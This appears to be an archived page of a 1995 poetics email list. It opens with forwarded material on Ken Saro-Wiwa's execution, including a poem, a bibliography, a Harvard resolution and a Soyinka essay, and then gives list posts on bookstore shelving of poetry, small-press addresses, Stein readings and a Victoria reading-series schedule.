> the fear of parting with loot and plunder
> the fear of losing those peripheral powers
> whose only guarantee is the barrel of a gun
> cynically backed by the greed of those who have more
> guns!
>
> When fifteen years ago I spent a year in your country
> I saw with my own eyes
> how the fishes and other forms of life
> were all slowly dying

> in the sluggish brownish and filthy liquid
> that had once been water;black gold it seems
> demanded its pound of flesh
> from everything and everyone around it!
>
> It has now demanded that you too
> like the rest of our continent's creme de la creme
> pay with your life for this gold this madness;
> that the Ogoni like the rest of us
> since the days of slavery and brutish colonisation
> have been paying with our lives
> for treasures that others consume
> while our own people go hungry and naked:
> it was for reminding it of this simple story
> that the sphinx has devoured you
> for no sphinx on earth
> wants its victims told
> how naked and how foolish it looks!
>
> In my own country the sphinx
> devoured Dick Matenje and Aaron Gadama
> Twaibu Sangala and David Chiwanga
> Attati Mpakati and Mkwapatira Mhango
> Orton Chirwa and many many others
> whose bodies were dumped
> into the waters of the Shire
> or into the bellies of crocodiles;
> many fled into exile which also became an area of
> darkness
> when the tentacles of the sphinx would know no bounds
> for the kingdoms of darkness
> decay and death are all alike:
> they thrive best in the midst of silence and despair
> our silence and our despair!
>
> If today's death be that of Ken Saro-Wiwa and eight
> others
> who have been so brazenly and so blatantly
> in the classical fashion of Nazism so openly executed
> can the deaths of Moshood Abiola and General Obasanjo
> and Ransome Kuti
> be far off?

>
> Silence, why must heinous acts
> be always followed by a deathly silence
> oh, OAU,
> oh, Africa?
>
> F e l i x M n t h a l i .
>
>
> THE WRITINGS OF KEN SARO-WIWA: A BIBLIOGRAPHY
>
> THE TRANSISTOR RADIO (radio play) BBC-Radio, 1972
> BRIDE BY RETURN (radio play) BBC-Radio, 1973
> TAMBARI (1973)
> TAMBARI IN DUKANA (1973)
> SONGS IN A TIME OF WAR (POEMS) (1985)
> SOZABOY:A NOVEL IN ROTTEN ENGLISH (1985)
> A FOREST OF FLOWERS (SHORT STORIES) (1986)
> BASI AND COMPANY:A MODERN AFRICAN FOLKTALE (1987)
> PRISONERS OF JEBS (1988)
> ADAKU AND OTHER STORIES (1989)
> FOUR FARCIAL PLAYS (1989)
> ON A DARKLING PLAIN:AN ACCOUNT OF THE NIGERIAN CIVIL WAR
> (1989)
> NIGERIA:THE BRINK OF DISASTER (1991)
> PITA'S BUMBROK'S PRISON (1991)
> SIMILIA:ESSAYS ON ANOMIC NIGERIA (1991)
> THE SINGING ANTHILL:OGONI FOLK TALES (1991)
> GENOCIDE IN NIGERIA:THE OGONI TRAGEDY (1992)
>
> In addition, he was producer and writer of the television
> series, BASI AND COMPANY, 1985-1990, Editor, MELLANBITE,
> 1963-64, HORIZON, 1964-65,and UMUAHIA TIMES, Member of
> editorial board, UMUAHIAN
>
> His television series included:
>
> MR. B (1987)
> BASI AND COMPANY (1989)
> THE TRANSISTOR RADIO (1989)
> MR.B GOES TO LAGOS (1989)
> MR. B IS DEAD (1991)

> SEGI FINDS THE RADIO (1991)
> A SHIPLOAD OF RICE (1991)
> MR. B'S MATTRESS (1992)
> MR. B. GOES TO THE MOON (1992)
> A BRIDE FOR MR. B. (1992)
>
> Born October 10, 1941 in Bori, Rivers State, Nigeria
> Died November 10, 1995 in Port Harcourt, Nigeria
> Education: University of Ibadan B.A. (Honors), 1965
> Avocational interests: Sports, travel, classical music
>
>
> APPENDIX 1
>
> ACTION AGAINST THE NIGERIAN JUNTA AND ITS BACKERS: HARVARD
> STUDENTS TAKE THE LEAD
>
> Resolution passed on November 19, 1995
>
> RESOLUTION 14F-28: Response to Human Rights Violations in Nigeria
> (Simons, Kasper, Freeman)
>
> Whereas, on Friday, 10 November 1995, the military government of
> Nigeria executed nine anti-government activists, including
> playwright, environmental and human rights activist Ken Saro- Wiwa,
> in trials which Amnesty International believes to have been pol
> itically motivated and unfair;
>
> Whereas, the international community has reacted with outrage and
> condemnation to the executions, the United States and other nations
> have withdrawn their ambassadors to Nigeria, the 52-member
> Commonwealth of Britain has suspended Nigeria as a member, and the
> brutal government of Nigeria has been described by Nelson Mandela
> as "counter to the most basic human rights;"
>
> Whereas, the Nigerian government is supported in large part by
> foreign investment, especially from oil corporatcorporations, most
> of the oil from which is exported to the United States;
>
> Whereas, Harvard University is a shareholder in corporations which
> invest in Nigeria;
>

> Be it resolved that the Undergraduate Council requests that
> President Neil Rudenstine sign letters to the Nigerian government
> and to Shell Oil, a leading investor in Nigeria in which Harvard
> owns shares, expressing outrage and dismay at the executions;
>
> Be it resolved that the Undergraduate Council requests the
> University Advisory Committee on Shareholder Responsibility to
> recommend a policy of supporting all shareholders' resolutions
> calling for corporate withdrawal from Nigeria by drafting a letter
> to the student representative, Adrienne Bradley, which she shall
> read on behalf of the Undergraduate Council.
>
> Be it resolved that the Undergraduate Council requests the Harvard
> Corporation and the Board of Overseers of Harvard College to adopt
> a policy of selective purchasing which would prohibit any part of
> the University or its subsidiaries from buying products from or
> entering into contracts with oil companies which invest in Nigeria.
>
>
> Be it further resolved that the Undergraduate Council requests that
>
> Harvard University divest fully from oil companies which invest in
> Nigeria.
>
>
> APPENDIX 2:
> WOLE SOYINKA, "WHY THE GENERAL KILLED"
>
> There is one question only we need to address to ourselves: why
> the rush to execution ? That question holds the key to the
> darkest moment in the history of our existence in the benighted
> nation called Nigeria.
>
> There are hundreds of convicts on the death row of our prisons, some
> of them over ten years, maybe twenty, awaiting their date with
> destiny. Some are violent armed robbers, cold-blooded murderers.
> Several are functional sadists, mindless butchers who took
> advantage of religious or ethnic riots to practice their stock-in-trade.
> Years after they slaughtered their victims and turned the streets,
> markets and places of worship most especially into slaughter slabs.
> They were duly sentenced yet they are still kept alive in our
> prison cells, awaiting rescue by executive clemency. What then

> was the overwhelming cause that drove Sani Abacha, who had taken
> over the functions of criminal justice, set up his own trial court,
> then presided over the last court of appeal, to rush Ken Saro-Wiwa
> and his companions to the gallows ? Since when has the cause of
> justice been served by haste, especially selective justice in its
> irreversible mode ?
>
> In seeking to answer to our central question, we would be wise to
> take our minds back to the internecine strifes, the escalation of
> mutual destruction that became a puzzling feature of life among
> the Delta people over the two years of Abacha's seizure of power
> in Nigeria. We must remind ourselves of the impersonation of the
> Okrika, the Andoni and the Ogoni by Abacha armed soldiers, the
> destruction of villages and farmlands, kidnapping and murders
> timed to appear as consequences of boundary disputes, mostly minor,
> but now turned into vicious rounds of bloodletting and serial
> vengeance among traditionally peaceful neighbours. We must
> refresh our memories with the detailed reports of commissions of
> enquiries about this strange and costly eruption of animosity -
> Professor Claude Ake's meticulous report most especially. We must
> single out, as a most graphic instance, the 1994 machine-gunning
> of a boat in mid-stream, in a carefully executed military action
> that resulted in the deaths of tens of innocent men, women and
> children, including prominent citizens of Ogoniland. The Okrika
> were first blamed for this atrocity, but we do recall how the
> true criminals, the military personnel, were exposed in the
> end by the few survivors.
>
> The purpose of Abacha's bloody provocation was straightforward: to
> make it impossible for the victims of oil exploration to present
> a united front in their demands for reparations for their
> polluted land, for a fair share in the resources of their
> land, and a voice in the control of their own development. The
> Ogoni were of course at the head of these demands.
>
> Still, the Ogoni preserved their united resolve - until lately.
> The crack in their unity was formented by the same forces that
> destroyed the peaceful co-existence of the various communities
> of the Delta, setting one against the other. The next stage was
> to set the final seal of doom on the Ogoni, who had had the
> temerity to spearhead the Delta revolt against the oil companies.
> Four prominent sons of Ogoni were brutally hacked to death, creating

> a permanent breach within the Ogoni movement, MOSOP.
>
> Now, there had begun serious moves to heal that breach, with limited
> but real success. I know this at first hand, because I was contacted
> by the relations of the murder victims and the peacebrokers. Such a
> process could only have been initiated as a result of the
> mounting suspicion that the blood-guilt lay outside the Ogoni
> community, that, at the very least, the murder of the four Ogoni
> leaders had been organised by a common enemy, the permanent
> "agent provocateurs" in the pay of the Abacha's regime. There was
> only one way to thwart the process of healing within MOSOP, and this
> was to terminate all efforts to root out the real criminals, and
> widen the blood breach in an irreversible manner.
>
> Ken Saro-Wiwa's fate had long been sealed. The decision to execute him
> was reached before the special tribunal was ordered to reconvence
> and pronounce a verdict that had been decided outside the charade
> of judicial proceeding. The meeting of the Provisional Ruling
> Council to consider that verdict was a macabre pretence, a prolongation
> of the cynicism that marked the trial proceedings from the outset.
>
> As the world knows, the executions were to have taken place immediately
> after the "ratification" session of the Military Council. Hence the
> sense of urgency, even panic with which we addressed our task in
> Auckland from the moment that we learnt that Abacha had summoned
> his uniformed puppets to perform at his dance of death. A blatant
> unrepentant defiance of civilised norms, an atavistic psyche is what
> has characterised this regime from the beginning, so there should
> have been no cause for surprise. We have warned, and pleaded. Now
> we are paying yet another heavy prize for the comatose nature of
> global conscience.
>
> Is that conscience finally nudged awake ? Despite the belated flurry
> of motions, it would appear that the real problem, and the solution
> are still being dodged. Why do the Commonwealth Heads of States still
> proceed to offer Sani Abacha two whole years to "restore" Nigeria
> to democracy ? Nigeria has a civilian President-elect, Bashorun
> M.K.O. Abiola, clamped in gaol by Sani Abacha. We have called for
> a solution which requires his immediate release in order to head
> a government of national unity and restore the nation to a democratic
> path. Every atrocity that has befallen Nigerians, the total collapse
> of civic society, stem from the pattern of evasion that seeks a path

> round the immutable reality: that Nigerians went to the polls, elected
> their President, then a military cabal, of which Sani Abacha was
> Number Two, nullified the process.
>
> It is time to stop beating about the bush when a path that, as it
> happens, combines both principle and pragmatism opens up itself
> unambiguously. Yes, of course, there are thorns along that path,
> a few boulders here and there, but what is the alternative ? Two
> more years of Abacha ? Does any serious thinking individual believe
> that Nigeria will survive a two-year endorsement of this national
> haermorrage ? Let the Commonwealth leaders think again, and save
> the nation from the spiral of murder, torture and leadership
> dementia that is surely leading to the disintegration of a once
> proud nation.
>
> [published in "Der Speigel"]
>
> Other sources of info:
> Earthlife Africa (Cape Town)
> Greenpeace International
> Amnesty International
>
>
> (END OF SECTION TWO. PLEASE SEE SECTION 1 IN A SEPARATE MAIL
FILE)
>

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Pierre Joris | "Poems are sketches for existence."
Dept. of English | --Paul Celan
SUNY Albany |
Albany NY 12222 | "Revisionist plots
tel&fax:[redacted] | are everywhere and our pronouns haven't yet
email: | drawn up plans for the first coup."
[redacted]| --J.H. Prynne

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↑ Index

279. Charles Alexander
Re: Metroplexities
Tue 21 Nov 1995

> *just a word about metroplexities in massachusetts: just spent the wkend in northampton and visited used bookstores, and was disappointed/relieved to find not one single interesting "experimental" book of poems on the shelves*
>
> *And in the Kansas City Barnes and Noble (shudder), in the very stylish Country Club Plaza across the street (yes, street -- this is no shopping mall) from Saks, I bought books by Zukofsky, Stein, and Susan Howe.*
>
> *Go figure.*

I always did like Kansas City. Makes perfect sense to me, except for the Barnes & Noble part -- but then this is the mid-nineties.

charles alexander

↑ Index

280. Charles Alexander
Re: POETICS Digest - 19 Nov 1995 to 20 Nov 1995
Tue 21 Nov 1995

> *I am trying to get the address of Leave Books as well as the addresses of the following journals: impercipient, cathay, windmill, torque, first intensity, and volt. I would appreciate whatever help you may provide.*

I just received a mailing from The Impercipient, of the eighth and final issue, and the address remains 61 East Manning Street, Providence, Rhode Island 02906. I'm not certain anymore about Leave Books, as various people involved have moved, and I'd love to have the correct address for that and the others you request, too. So I hope people post them on the list.

charles alexander

↑ Index

281. Jordan Davis
Re: Metroplexities
Tue 21 Nov 1995

At 12:24 PM 11/22/95, Wystan Curnow wrote:
I know I tend to think the other way: POETRY AND
>LITERATURE and FICTION. What does it betoken? Any thots?

That's the general division in american bookstores. Books & Co led (maintained?) the rear guard keeping their poetry books interspersed with the

fiction (and some literature) until what a year ago? I remember seeing Hannah Weiner's books there where anybody could find them. I remember it was an effort to keep from crying. Anyway, that's over, B&C has moved them upstairs (with the film, music and philosophy/classics/theory books). Which bookstore in Astor Place did you like, Wystan? There was a not-so-bad place called "Cooper Square Books" until about what a year ago? Before that, there was a legendary place that kept the books wrapped in plastic... Cooper Square was a direct casualty of B&N, the decision to cease operation following right after the announcement of the Astor Place B&N. I'd like to note that the Barnes & Noble "superstore" at 82nd & Bway has been voted the "best" place to pick-up (and I guess be picked up) in New York, ahead of Max Fish and Crunch Fitness. Hmm.

Jordan

↑ Index

282. Robert Drake
addresses (leave etc.)
Tue 21 Nov 1995

Leave Books, PO Box 786, Buffalo NY 14213
Impercipient, 61 E. Manning St., Providence RI 02906
Cathay, 11 Slater Ave., Providence RI 02906
First Intensity, PO Box 140713, Staten Island NY 10314
Volt, 4104 24th St. #355, SanFran CA 94114
Torq;ue, Box 118 Canal City Sta., New York NY 10013

Impercipient is shutting down w/ the current issue #8, alas. i understand that leave will also move on to other endeavors, tho the backlist will continue to be available?--they are one of the featured presses in the forthcoming (at the printers now!) TapRoot Reviews, as is Chas Alexander's Chax Press...

& my repeated call to those of you who teach--consider using
micropress publications instead of (or in addition to)
anthologies--the publication you save could be your own...

lbd, TRR

↑ Index

283. Rod Smith
Re: Metroplexities
Tue 21 Nov 1995

Yes, but will Barnes & Noble stock YOUR book.
We will-- we're your friendly nayborewhoed
Bridge Street Books

2814 Pennsylvania Ave NW
Washington, DC 20007
ph- [redacted]
e-mail [redacted]
Which is right down the street from new Georgetown Barnes & Noble. They suck.
--Rod

↑ Index

284. Loss Glazier
epclive
Tue 21 Nov 1995

Pierre, Yes, we were there. A pretty energetic handful of folks and a lively conversation from 6:30-8 EST. Yes, last night (Mon.). I'm not sure why you didn't find us. We were certainly boisterous enough to be heard in the hallway! It was a good conversation...often multichannel but v. good ... Loss

↑ Index

285. Daniel Bouchard/College/hmco
Re: Metroplexities
Wed 22 Nov 1995

> I'd like to note that the Barnes & Noble "superstore" at 82nd & Bway has been
voted the
>"best" place to pick-up (and I guess be picked up) in New York,

Will your chances of being picked up improve in the Literature/Fiction section as opposed to standing in the Poetry section where the narrow selection may cause a melancholy expression?

dan bouchard

↑ Index

286. Maria Damon
Re: Metroplexities
Wed 22 Nov 1995

---

re Poetry, Literature and Fiction: to most of the students i teach, literature is synonymous w/ fiction. poetry, to them, is not "literature." nor is it, apparently, to bookstore organizers, who usually use the designator "literature" to mean middle-to-highbrow fiction, and distinct from "paperbacks," which are low-brow fiction. weird, isnt it. other than places like ucsd, albany and buffalo, i bet even

most grad students in lit. departments have poetry-phobia. that's certainly true of both the place i was a grad student and the place where i currently teach. is that your (collective) experience?--md

↑ Index

287. **Maria Damon**
Re: Steiniana
Wed 22 Nov 1995

I received this today, and was confused about who spake what. is the anecdote in the first person herb's or charles's? why do i care? i don't know but i do. just to keep things --like identity --straight, so to speak, in my so-to-speak head. --md

Spake Herb Levy earlier today:

For many years, there has been a marathon reading of The Making of Americans every New Year's, days long; in recent years it has alternated with a reading of Finnegans Wake. It takes place at the Paula Cooper Gallery in SoHo (New York). The first few years, in the middle or late 70s, I read at 3 or 4am to a quite small, even tiny, audience. These were hardly "straight" readings but I think fairly engaging. The work, it seemed to me then and there, held up well to something like chant or anyway highly entoned reading (a kind of davening perhaps). I have had other occasions to read the from the book, even when fully awake, and found many rhythmic and performative possibilities there. I have always felt that Stein's work would be better served by a more all over reading from her works, but the fact that The Making of Americans has held up to repeated and complete readings for so many years (though of course "stands up" to whom?) is interesting.

--Charles Bernstein

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↑ Index

288. **Willa Jarnagin**
Poetry/Fiction/Literature divisions
Wed 22 Nov 1995

On Wed, 22 Nov 1995, Wystan Curnow wrote:

> *There is a section called POETRY and then one called FICTION AND LITERATURE. How significant is this division? Do all B & N stories do it, do other stores do it? I believe the division is at work in English departments, among the interests, knowledge and attitudes of teachers,*

> *and in curricula. I know I tend to think the other way: POETRY AND LITERATURE and FICTION. What does it betoken? Any thots?*

What interests me is not only why bookstores would make such a division, but, essentially, what IS the difference between poetry and fiction? I write both and they overlap. What seems to be the difference for me is the degree to which I write in character. But that doesn't always hold. Plot, momentum? Form? No, all these are exploited by either genre (ick, what a word, genre). If it's in stanzas or scattered across the page it's poetry? That would seem to be the criteria among booksellers. What would happen if poetry books were sold mixed in with novels and short fiction on the shelves? Would we lose out by not having a "poetry" section to make a beeline toward in any bookstore? Or would people who normally only buy novels discover poetry? Would poets lose their identity? Would Danielle Steel try her hand at verse? Cough.

Hm.
Willa

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289. **Gwyn McVay**
Re: Poetry/Fiction/Literature divisions
Wed 22 Nov 1995

Willa,

Danielle Steel (e?) *has* tried her hand at verse. A bright pink book of hers with embossed gold lettering, swooshy caps, the whole bit, sits in the poetry section at my local Borders.

Gwyn

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290. **Keith Tuma**
Re: Metroplexities
Wed 22 Nov 1995

For Maria D:

"Poetry-phobia" would mean at least some experience of poetry, no? Whereas most junior faculty I know here couldn't give a rat's ass for poetry. I'm constantly saying, like, why don't you put a little Brathwaite or Cesaire in that Caribbean lit/post-colonial seminar you're teaching? Blank smiles: yeah sure Keith. Other than a little Wordsworth creeping into seminars on one or another topic in romanticism, other than the chair's fascination for Stevens and a 70 year-old's genuflections before Pound, poetry is left to me, who has it "covered." I'd be surprised if your situation at UM was news to anybody.

--Keith Tuma

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291. **Judy Roitman**
Re: Steiniana
Wed 22 Nov 1995

Whoever, said it, thanks for

"a kind of davening perhaps."

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292. **Jordan Davis**
Re: Poetry/Fiction/Literature divisions
Wed 22 Nov 1995

M Jourdain: So then I've always been speaking in poetry,
And also in prose?

The Professor: That is correct.

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293. **Charles Bernstein**
Re: Steiniana {corrected}; shelflife
Wed 22 Nov 1995

Somehow the extract from Herb's post that I was replying to got dropped in the transmission, can't figure out how.

This is what Herb Levy posted yesterday, or a bit of it:

> *... sounds like it was pretty good. In the context of all of those, uh, value-added performances, though, it's still hard to imagine a straight reading of a big chunk of The Making of Americans getting over, no matter where it was in the program.*

& this what I added:

For many years, there has been a marathon reading of The Making of Americans every New Year's, days long; in recent years it has alternated with a reading of Finnegans Wake. It takes place at the Paula Cooper Gallery in SoHo (New York). The first few years, in the middle or late 70s, I read at 3 or 4am to a quite small, even tiny, audience. These were hardly "straight" readings but I think fairly engaging. The work, it seemed to me then and there, held up well to something like chant or anyway highly entoned reading (a kind of davening perhaps). I have had other occasions to read the from the book, even when fully awake, and found many rhythmic and performative possibilities there. I

have always felt that Stein's work would be better served by a more all over reading from her works, but the fact that The Making of Americans has held up to repeated and complete readings for so many years (though of course "stands up" to whom?) is interesting.

****** PS -- on the shelving of books in bookstores, Stein is always a problem but after a while EPC may be able to provide for call-up consultations for bookstore workers to help them diagnose ... er, classify the stock. For myself, I always liked the fact the the Dewey Decimel system classifies poetry as a type of nonfiction, unlike novels and short stories. I would encourage bookstores to shelve poetry along with the other nonfiction books, where it belongs.

--Charles Bernstein

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294. **Herb Levy**
Re: Steiniana
Wed 22 Nov 1995

Maria -

The writing below yours is pure Bernsteiniana. &, yeah, Judy, davening sounds about right to me too.

- Herb

> *I received this today, and was confused about who spake what. is the anecdote in the first person herb's or charles's? why do i care? i don't know but i do. just to keep things --like identity --straight, so to speak, in my so-to-speak head. --md*
>
> *Spake Herb Levy earlier today:*
>
> *For many years, there has been a marathon reading of The Making of Americans every New Year's, days long; in recent years it has alternated with a reading of Finnegans Wake. It takes place at the Paula Cooper Gallery in SoHo (New York). The first few years, in the middle or late 70s, I read at 3 or 4am to a quite small, even tiny, audience. These were hardly "straight" readings but I think fairly engaging. The work, it seemed to me then and there, held up well to something like chant or anyway highly entoned reading (a kind of davening perhaps). I have had other occasions to read the from the book, even when fully awake, and found many rhythmic and performative possibilities there. I have always felt that Stein's work would be better served by a more all over reading from her works, but the fact that The Making of Americans has held up to repeated and complete readings for so many years (though of course "stands up" to whom?) is interesting.*

> *--Charles Bernstein*
>
> *****

Herb Levy
[redacted]

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295. Daniel Bouchard/College/hmco
bookstores, syllabi, and yer own good intentions
Wed 22 Nov 1995

> *Keith Tuma:*
>
> *"Poetry-phobia" would mean at least some experience of poetry, no? Whereas most junior faculty I know here couldn't give a rat's ass for poetry. I'm constantly saying, like, why don't you put a little Brathwaite or Cesaire in that Caribbean lit/post-colonial seminar you're teaching? Blank smiles: yeah sure Keith. Other than a little Wordsworth creeping into seminars on one or another topic in romanticism, other than the chair's fascination for Stevens and a 70 year-old's genuflections before Pound, poetry is left to me, who has it "covered."*

I have considerable respect for the opinions of poetry of everyone on this list (yuk, what a lousy sentence). So seeing a recurring theme in many postings that much of today's significant and/or experimental poetry is ignored by both English departments and the mainstream book market(s), I wonder if people would give their thoughts as to what the the priorities are in regard to new poetry for a) English departments, b) publisher's & bookstore's marketing managers and c) poets who intend to publish. Clearly, many publishers and bookstores are looking to make money, but if money is the only reason they were in their respective business, why wouldn't they have chosen something more profitable? I'm thinking about big bookstores like Borders and B &N and Waterstones who want to make a profit but also give at least the appearance of selling new and interesting books if only for the sake of their reputation as an all-around good bookstore. Borders (where I've worked on and off for the past four years) carries Zukofsky, Stein, Howe, Hejinian not, as someone pointed out because of the poets' names but because of the publishers- Johns Hopkins, Sun&Moon, Weslyan. That is not a progressive policy but still, there they are waiting to be bought which does happen once in a while, usually on a staff recommendation. Borders is not Bridge Street books nor is Bridge Street Borders. I see no reason to cut down one in favor of the other. If I'm looking for poetry I'll take Bridge Street (or its New England equivalent, which isn't saying much) everytime. English Departments aren't looking to make money (or else, I am extremely naive) but they do have something to sell: the image of the

school and the careers of the instructors. Many people on this list teach literature at the college level and many have stated their choices for syllabi. Is it too silly a question to ask why so many instructors can't see that they are repeating exactly the mistakes of their predecessors who rejected Williams, Pound, et al. Or is it that they KNOW better about today's "poetry" and time will pardon them and their views? Finally, who are all you publishing poets hoping will read your work? College undergraduates? Graduate students? Fellow poets? People in the business world? the art world? Heads of state? Probably all, or as many as possible. But how to achieve that end? Is it enough to get the material printed and bound and release it like a pair of rare animals hoping they'll mate and spread all over the earth? Or spread like a fire from a tiny ember as Shelley kind of said?

Just typing out loud, hoping for good readings when I logon Monday morning. Happy Holiday to those celebrating Thanksgiving.

[redacted]

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296. Alan Golding
MLA Poetry Programs
Wed 22 Nov 1995

Associate Professor of English, U. of Louisville
Phone: [redacted]; e-mail: [redacted]

The problem's always seemed to me that whoever puts the program together has zero sense of the various audiences or constituencies out there and the relationship among them. And as Marjorie says, this seems to happen every year. I wonder if people in other fields have the same complaint. But consistently in poetry and poetics, panels likely to be of interest to the same audience are scheduled against each other, often three or four at a time. You have at least some sense of the inside workings of the MLA, Marjorie--do you have any sense of how these decisions get made, and what chance there is of changing that?

Related example: all the poetry readings are always scheduled at the same time on the same evening. Is it the organization's assumption that no-one could want to hear two or three or four different poets, and so we're obliged to choose? Last year was a spectacular example: Jerry Rothenberg, Armand Schwerner, and Norman Finkelstein in one place; Galway Kinnell, Gerald Stern, and Sharon Olds in a second; and Denise Levertov in yet a third location, all at the same time.

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297. Charles Alexander
Re: Metroplexities
Wed 22 Nov 1995

> *re Poetry, Literature and Fiction: to most of the students i teach, literature is synonymous w/ fiction. poetry, to them, is not "literature." nor is it, apparently, to bookstore organizers, who usually use the designator "literature" to mean middle-to-highbrow fiction, and distinct from "paperbacks," which are low-brow fiction. weird, isnt it. other than places like ucsd, albany and buffalo, i bet even most grad students in lit. departments have poetry-phobia. that's certainly true of both the place i was a grad student and the place where i currently teach. is that your (collective) experience?--md*

That was certainly my experience in grad school, where I tutored Ph.D. students in Ezra Pound & post-Pound American poetry, about which they were particularly afraid, before their Ph.D. prelims. As for bookstores, I'm content anymore if they have poetry, and don't particularly demand that they characterize it as "literature." But these terms are constantly changing to many, aren't they? I remember coming back from college and running into my favorite high school English teacher who remarked how pleased she had been to hear I was majoring in "Letters." I still like that term.

charles

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298. Jim Andrews
MOCAMBOPO reading series
Wed 22 Nov 1995

Here is the schedule for the MOCAMBOPO reading series in Victoria, B.C. from June 23, 1995 till March 15, 1995. Poets interested in participating in the series should contact me (Jim Andrews) at [redacted] or [redacted].

I will be posting a call for submissions to the electronic and print magazine And Yet in the next week or so.

Mocambopo will happen every week. May it be a launching pad for the cultuwordular energies of writers and poets and letters, sounds, action. Young and old, established and not, destablished, upcoming—the hope is to provide a venue in which all manner of poets and writers are welcome and active, a place for excellence, innovation, collaboration, diverse projects, confluence, experiment, and consequence in the life of the city. The event will start every Friday at 7:30. The format will include two open mikes and a featured artist between the open mikes.

There will also be an electronic/print magazine called And Yet associated with Mocambopo in early 1996 and a link also to the Mocambopo schedule which will include sample writings, interviews, essays, etc of the writers featured at Mocambopo.

JUNE 23, 1995: JOSEPH KEPPLER Seattle's Joseph Keppler is widely regarded in Canada and America for his work as a poet, critic, editor, sculptor, and photographer. His poetry over the last few years has shifted from concentration on the aural and the visual to the creation/discovery of the language we hear (and speak) in the midst of conversation (at work, even). The result bears relation to the 'language' poetry he has been aware of for many years. He holds a mirror to everyday language and the attendant political/personal confusions.

JUNE 30: LINDA ROGERS Linda Rogers is the author of many books of poetry including Woman at Mile Zero, The half life of radium, Hard candy, Letters from the doll hospital, and Singing rib. She has won many awards for her work including the Stephen Leacock humour award. Linda has been a dynamic force in organising poetry events and projects in Victoria for many years.

JULY 7: PETE MARLOWE Pete Marlowe is a novelist, song-writer/singer, dramatist, and poet. His upcoming play The Second Coming, a comic, contemporary reworking of Euripides's The Bacchae, will play in Victoria October and November 1995 at The Drawing Room. He recently finished the manuscript of his second novel, Just a Kid Like You. Pete will be reading from it and performing some of his songs.

JULY 14: AN EVENING FOR CRAIG PIPRELL Craig Piprell was a house of a heart and a startlingly talented writer. His untimely death at the age of forty shocked and saddened those who knew him—and he knew many people. He was a 300 pound biker with an M.A. in English. He was well known in Victoria (and amongst forestry companies) for his work with Monday magazine and his conscientious, brave environmental reportage. Lesser known was his work as a writer of poetry and fiction. Some of his friends have done a superb job in assembling some of his work into The Lemmings Had Nowhere to Go. Friends of Craig will read from Craig's literary legacy. "Nothing I knew or had learned prepared me for the slipperish heat; the divine cologne of freshly conjured juices at my fingertips. I moonwalked home, a thousand miles in the dark. But when I got there I felt I had arrived, not at some inevitably disappointing final destination, but at the border of unbounded opportunity. I had tickled the lock at the door to the womb. The darkness between streetlamps receded, oasis by aromatic oasis in caravansaries of light, where the anointed eagerly wait to welcome me to all the glittering secrets and jewelled joy of earth" (from "The Machinery of Night").

JULY 21: GAIL HARRIS Gail Harris, a.k.a Cow Patty and Queen of the baddies, has performed her poems and songs around Canada and England with the aplomb that accompanies The blue silk underwear of the incredible Miss Rainwater (Coach House Books). She is the author of several books of poetry also including Lady Ambivalence and her small, secret mansion and ZaZa of the Cirque Fernando.

JULY 28: JOEL SHEA Eighteen-year-old Joel Shea has impressed those who have heard him perform his poetry at Java Coffee House where he won the 'poetry contest' there recently. Joel will perform his dymanic material. He is also Dionysus in Pete Marlowe's upcoming play The Second Coming.

AUGUST 4: JIM ANDREWS Jim Andrews recently finished his first book Several Numbers Through the Lyric, a collection of poems, stories, essays, letters, and visual poems. He'll read from it and perform some of his sound poetry and audio poems. He produced the radio show FINE LINES and, later, ?FRAME?, published the magazine And Yet, and is the host of MOCAMBOPO.

AUGUST 11: DERK WYNAND Derk will read "Airborne," a 3000 word sentence. "Airborne" is a "...flight from and toward a kind of nirvana, holding on a version of letting go, everything up in the air, as he is, flying..." Derk is the author of many books of poetry including Heat Wave, Snowscapes, and One Cook Once Dreaming. Derk teaches Creative Writing at U.Vic and is the editor of The Malahat Review.

AUGUST 18: STEPHEN SCOBIE Governor General award winning poet Stephen Scobie is the author of many books of poetry including Mcalmon's Chinese Opera, The Land They Gave Away, and Expecting Rain. He has written many books of literary criticism including bp Nichol: What History Teaches, Leonard Cohen, and Sheila Watson And Her Works. He is internationally regarded for his poetry, scholarship, and superb readings. He teaches English at U.Vic.

AUGUST 25: bill bissett bill is the author of over 40 books of poetry. He has read and performed his sound poetry around the world. He has created a written language all his own—though it is also an astounding embodiment of Canadian and North American idioms. Some of his recent books are th last photo uv th human soul, inkorrect thots, animal uproar, and canada gees mate for life.

SEPTEMBER 1: DAVID DAY David Day has written over thirty books (Whale War, The Tolkien Encyclopedia, The Dooms-Day Book of Animals, and Work and the Working Life). He writes poetry, fiction, and books on the lore and ways of the creatures of the Earth and mind. The Doomsday Book of Animals is the basis of a television series currently airing on the BBC and Japanese television. He has a new book coming out in September called The Quest For King Arthur. David will read from an autobiographical collection of poems and stories.

SEPTEMBER 8: YVONNE OWENS Yvonne is a co-author of The Witch's Book of Days with Jessica North and Jean Kosikari. Yvonne also writes on the arts in The Victoria News and Artichoke. She has a series of chapbooks on magic from Reference West publishers and is one of the editors of Hecate's Loom.

SEPTEMBER 15: MARK JARMAN Mark is the author of Dancing Nightly In The Tavern, Killing The Swan, and Nothing North Of Disneyland (with Craig Piprell and Carl Grindley). He teaches English and Creative Writing at Uvic. Mark will be reading excerpts from a novel in progress.

SEPTEMBER 22: MATT FAIR Some of Matt's radio art (The World Owes You a Living) has been heard on National Public Radio in America on All Things Considered. He has published writing in Left Bank, Convolvulus, and And Yet (of which he was a co-editor). He will read from a two-volume work in progress.

SEPTEMBER 29: ARIEL O'SULLIVAN Ariel is widely known in Victoria for her readings and performance art. She is the author of Braid Your Hair and Go To Brazil. She will be reading from her new book Blast the Morality of Kings and new work in progress.

OCTOBER 6: DENNIS REID Dennis is the author of The Women Who Surround Me (poetry), The Knife Behind the Gills (a novel), and How to Catch Salmon (science fiction?). He's the province's rep. of the League of Canadian Poets and the Vice of the B.C. Federation of Writers. He's also involved in the Internet Swiftsure project. He will read the Christmas dinner fiasco from his new novel The Knife Behind the Gills (Ekstasis Editions), a near King Learish look at a family in 1990's rural/urban Victoria.

OCTOBER 13: DON BERGLAND Don is dean of multimedia. He propositions, therefore, several orifices (sometimes free of charge) and the brain, if it exists. Don recently returned from heading Electronic Arts's art department which involved coordinating forty artists at work on the graphics for all of Electronic Arts's software products. Don presents a kind of Disney with the Death Penalty, a vision in which he meditates Buddhistically upon such phenomenon as Donald (the mighty) Duck and the sale to Disneyland of the Mountie's image. A heavily insured event. The menu will include lugers and salmon pate. Disney spells treated on-site.

